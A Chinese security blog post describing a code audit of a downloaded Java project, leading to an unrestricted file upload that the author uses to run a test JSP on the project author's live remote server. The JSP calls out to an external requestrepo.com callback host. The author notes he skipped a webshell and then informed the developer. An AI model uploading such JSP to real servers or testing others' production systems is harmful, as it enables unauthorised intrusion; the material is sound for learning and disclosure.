从本地代码审计到拿下项目作者服务器?

admin 2025年3月2日21:49:38评论10 views字数 3926阅读13分5秒阅读模式
 

前言
从本地代码审计到拿下项目作者服务器?

今天刚睡醒,看到1群里有师傅发了套系统,闲来无事就顺着师傅给的链接去gitte下载了项目,审计一下

本篇文章首发在先知社区,作者C@ig0 (本人)  先知社区名称:caigo 转载原文链接为:https://xz.aliyun.com/news/16984
文章目录
从本地代码审计到拿下项目作者服务器?
代码审计漏洞测试最后

代码审计

环境启动后,简单扫了一遍代码,发现漏洞不少啊,sql注入,文件上传,xss应有尽有,还有不少组件漏洞

直接进入我们的正题,环境搭建好后进入后台,在用户管理处,发现在用户介绍那里可以上传文件

从本地代码审计到拿下项目作者服务器?
从本地代码审计到拿下项目作者服务器?

尝试上传文件抓包

从本地代码审计到拿下项目作者服务器?

发现这个上传点貌似不是上传到本地,而是上传到作者的远程服务器上?

根据路由定位对应代码

@RequestMapping(value="/upload")public@ResponseBodyResultupload(String filepath,HttpServletRequest request){Result result = newResult();String fileReturnPath = "";List<String> uploadFileList = newArrayList<String>();try {//将当前上下文初始化给  CommonsMutipartResolver (多部分解析器)CommonsMultipartResolver multipartResolver=newCommonsMultipartResolver(request.getSession().getServletContext());//检查form中是否有enctype="multipart/form-data"if(multipartResolver.isMultipart(request)){//将request变成多部分requestMultipartHttpServletRequest multiRequest=(MultipartHttpServletRequest)request;//获取multiRequest 中所有的文件名Iterator iter=multiRequest.getFileNames();while(iter.hasNext()){//一次遍历所有文件MultipartFile file=multiRequest.getFile(iter.next().toString());if(file!=null){//创建保存路径String fileSavePath = CreateFileSavePath(filepath);//保存文件String filename = StringUtil.UrlDecode(file.getOriginalFilename());save(file,fileSavePath+"/"+ filename);//创建返回URLfileReturnPath = z.sp.get("fileserverurl")+"/files/"+filepath+"/"+filename;uploadFileList.add(fileReturnPath);

这里看代码貌似没有上传远程服务器的样子,看下获取路径的代码

protected String CreateFileSavePath(String filepath)throws Exception{StringfileSavePath= TomcatUtil.getTomcatProjectPath()+"/files";//判读路径是否为空if(!"".equals(filepath) && filepath!=null) {fileSavePath = fileSavePath+"/"+filepath;}// 判断文件目录是否存在如果不存在怎么创建Filedir=newFile(fileSavePath);if (!dir.exists() && !dir.isDirectory()) {//创建多级目录dir.mkdirs();}return fileSavePath;}

获取的也是本地tomcat的路径,这里我蒙了,刚好项目是打包环境没法动态调试,好像不是这里

发现数据包中还有个return_url_head参数,这里也没看到,全局搜索

发现了有.jsp文件有

<title>文件上传</title><%@include file="/views/common/common.jsp"%><scripttype="text/javascript">$(function() {var return_url_head = '${sp.fileserverurl}';var upload_url = return_url_head+'/upload?filepath='+$("#zid").val()+'&return_url_head='+encodeURIComponent(return_url_head);//var upload_url = return_url_head+'/upload?filepath='+$("#zid").val();$("#uploadify").uploadifive({uploadScript:upload_url,autotrue,fileDataName:'fileData',fileObjName:'fileData',buttonText'请选择要上传的文件',queueID'queue',height50,width : 220,multifalse,onFallback:function(){                $("#alertInfo").text("您的浏览器不支持HTML5文件上传控件,请使用支持HTML5的浏览器后使用。如:Chrome")        },onUploadComplete : function(file, data){  var obj = JSON.parse(data);if (obj.code == "SUCCESS") {varColumnId = $("#ColumnId").val();if(isNotNull(ColumnId)){window.opener.OpenFileUploadReturn(ColumnId,obj.data);            }window.close();            } else {             $("#alertInfo").text(obj.msg);            }        },onAddQueueItem:function(file){

貌似是jsp处理的文件上传,也就是说代码找错了

这里没有看到有对文件后缀进行检测,那么来测试下

漏洞测试

随便上传个文件看下访问功能点是否有被弃用

从本地代码审计到拿下项目作者服务器?

提示上传成功

从本地代码审计到拿下项目作者服务器?

WC

尝试上传jsp,看下能否解析,这里就不传🐎了,上传个测试dnslog的jsp代码

<%@ page import="java.net.HttpURLConnection" %><%@ page import="java.net.URL" %><%@ page import="java.io.BufferedReader" %><%@ page import="java.io.InputStreamReader" %><%@ page contentType="text/html;charset=UTF-8" language="java" %><html><head>    <title>SendHTTPRequest</title></head><body><%String targetUrl = "https://oynkd4m9.requestrepo.com"// 替换为你的目标URLURL url = newURL(targetUrl);HttpURLConnection connection = (HttpURLConnection) url.openConnection();    connection.setRequestMethod("GET");    int responseCode = connection.getResponseCode();    out.println("<h2>Response Code: " + responseCode + "</h2>");BufferedReaderin = null;StringBuilder responseBody = newStringBuilder();try {in = newBufferedReader(newInputStreamReader(connection.getInputStream()));String inputLine;while ((inputLine = in.readLine()) != null) {            responseBody.append(inputLine);        }    } finally {if (in != null) {in.close();        }    }// 打印结果    out.println("<h3>Response Body:</h3>");    out.println("<pre>" + responseBody.toString() + "</pre>");%></body></html>

从本地代码审计到拿下项目作者服务器?

提示上传成功,访问测试下

从本地代码审计到拿下项目作者服务器?

成功拿下,麻溜联系作者修改了

从本地代码审计到拿下项目作者服务器?

原文始发于微信公众号(菜狗安全):从本地代码审计到拿下项目作者服务器?

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月2日21:49:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   从本地代码审计到拿下项目作者服务器?http://cn-sec.com/archives/3785066.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息